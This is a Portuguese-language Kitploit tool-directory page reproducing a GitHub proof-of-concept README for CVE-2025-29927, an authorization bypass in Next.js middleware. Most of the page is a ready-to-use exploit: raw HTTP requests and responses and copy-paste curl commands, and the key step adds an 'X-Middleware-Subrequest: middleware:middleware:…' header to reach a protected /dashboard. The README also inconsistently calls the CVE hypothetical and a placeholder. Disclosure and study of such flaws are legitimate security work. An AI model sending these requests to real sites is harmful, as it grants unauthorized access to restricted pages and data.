Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2025-29927-poc — Bypass de Autorização no Middleware do Next.js | Kitploit
Ferramentas/GitHubGitHub/dedibagus/cve-2025-29927-poc
Autenticação e AutorizaçãoAnálise de VulnerabilidadesExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubdedibagus/cve-2025-29927-poc

cve-2025-29927-poc

Bypass de Autorização no Middleware do Next.js

Ver Repositório
3há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Site

CVE-2025-29927-POC

Introdução

Este repositório contém uma Prova de Conceito (PoC) para CVE-2025-29927, uma vulnerabilidade hipotética que demonstra uma falha no tratamento de middleware em uma aplicação web. A PoC ilustra como uma requisição HTTP especialmente criada pode contornar a lógica de redirecionamento para acessar conteúdo restrito, como um painel de controle. Este projeto é destinado apenas para fins educacionais e de pesquisa em segurança.

Aviso: Esta PoC é destinada ao uso em ambientes controlados com permissão explícita. Testes não autorizados contra sistemas que você não possui ou para os quais não tem consentimento são ilegais e antiéticos.


Sumário

  • Pré-requisitos
  • Visão Geral da Vulnerabilidade
  • Passos da Prova de Conceito
    • Passo 1: Requisição Inicial (Sem Sucesso)
    • Passo 2: Requisição Modificada (Com Sucesso)
  • Como Replicar
  • Referências
  • Contribuindo
  • Licença

Pré-requisitos

Para seguir esta PoC, você precisará de:

  • Um servidor alvo (ex.: abc.com) executando uma configuração vulnerável (software/versão específica a definir com base nos detalhes do CVE).
  • Uma ferramenta cliente HTTP como curl (curl.se), Burp Suite (portswigger.net/burp) ou um script personalizado.
  • Conhecimento básico de protocolos e cabeçalhos HTTP (consulte Documentação HTTP da MDN).

Visão Geral da Vulnerabilidade

CVE-2025-29927 (placeholder; substitua pelos detalhes oficiais do CVE quando disponíveis) parece explorar uma má configuração de middleware ou uma falha lógica. A PoC demonstra que adicionar um cabeçalho personalizado (X-Middleware-Subrequest) altera o comportamento do servidor, contornando um mecanismo de redirecionamento para acessar conteúdo restrito. Isso provavelmente está relacionado a como o middleware (ex.: Nginx com Next.js) processa sub-requisições ou valida cabeçalhos.

Para mais informações sobre vulnerabilidades de middleware, consulte Segurança de Middleware da OWASP.


Passos da Prova de Conceito

A PoC consiste em dois passos: uma requisição inicial sem sucesso e uma requisição modificada bem-sucedida. Cada passo inclui a requisição HTTP, a resposta e uma explicação detalhada.

Passo 1: Requisição Inicial (Sem Sucesso)

Este passo demonstra o comportamento padrão do servidor ao acessar o endpoint /dashboard sem cabeçalhos adicionais.

Requisição HTTP

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Resposta HTTP

root@kitploit:~
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

image

Explicação

  • Detalhes da Requisição:
    • GET /dashboard: Tenta acessar o endpoint do painel.
    • Cabeçalhos padrão como User-Agent e Accept imitam uma requisição típica de navegador.
  • Detalhes da Resposta:
    • 307 Temporary Redirect: Indica que o servidor redireciona o cliente, provavelmente devido a autenticação, autorização ou lógica de roteamento (ex.: redirecionando para uma página de login).
    • Server: nginx/1.14.1: Identifica o software do servidor web.
  • Análise: O redirecionamento sugere um mecanismo de proteção que impede o acesso direto a /dashboard. A ausência de um cabeçalho Location nesta resposta (possivelmente omitido por brevidade) implica que o destino do redirecionamento está em outro lugar.
  • Referência: Saiba mais sobre códigos de status HTTP em Status HTTP da MDN.

Passo 2: Requisição Modificada (Com Sucesso)

Este passo introduz um cabeçalho personalizado para contornar o redirecionamento, recuperando com sucesso o conteúdo do painel.

Requisição HTTP

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Resposta HTTP

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

image

Explicação

  • Detalhes da Requisição:
    • X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: Um cabeçalho personalizado adicionado à requisição original. A string middleware repetida pode explorar uma falha de análise ou validação na pilha de middleware.
    • Outros cabeçalhos permanecem inalterados em relação ao Passo 1.
  • Detalhes da Resposta:
    • 200 OK: Confirma o acesso bem-sucedido ao conteúdo do painel.
    • Content-Type: text/html; charset=utf-8: Indica uma resposta HTML, provavelmente a página do painel.
    • X-Powered-By: Next.js: Sugere que a aplicação usa Next.js, um framework React que frequentemente depende de middleware para roteamento.
    • Cache-Control: Impede o cache, típico para conteúdo dinâmico específico do usuário.
    • Content-Length: 30174: Tamanho do corpo da resposta em bytes.
  • Análise: O cabeçalho X-Middleware-Subrequest provavelmente engana o middleware, fazendo-o tratar a requisição como uma sub-requisição legítima, contornando a lógica de redirecionamento. Isso pode indicar uma vulnerabilidade na forma como as sub-requisições são validadas ou processadas.
  • Referência: Explore o middleware do Next.js em .

Como Replicar

Siga estes passos para replicar a PoC usando curl:

Passo 1: Enviar a Requisição Inicial

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Saída Esperada: Uma resposta 307 Temporary Redirect.

Passo 2: Enviar a Requisição Modificada

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Saída Esperada: Uma resposta 200 OK com o conteúdo do painel.

Nota: Substitua abc.com pelo domínio alvo real se testar em um ambiente autorizado.


Referências

  • Detalhes do CVE - Banco de dados oficial de CVEs (atualize com o link específico do CVE quando disponível).
  • Documentação HTTP da MDN - Fundamentos do protocolo HTTP.
  • Middleware do Next.js - Informações sobre o comportamento do middleware do Next.js.
  • Segurança de Middleware da OWASP - Visão geral de vulnerabilidades de middleware.
  • Manual do curl - Guia para usar o curl em requisições HTTP.

Licença

Este projeto está licenciado sob a Licença MIT. Consulte o arquivo LICENSE para obter detalhes.

Baixar ferramenta
Documentação do Next.js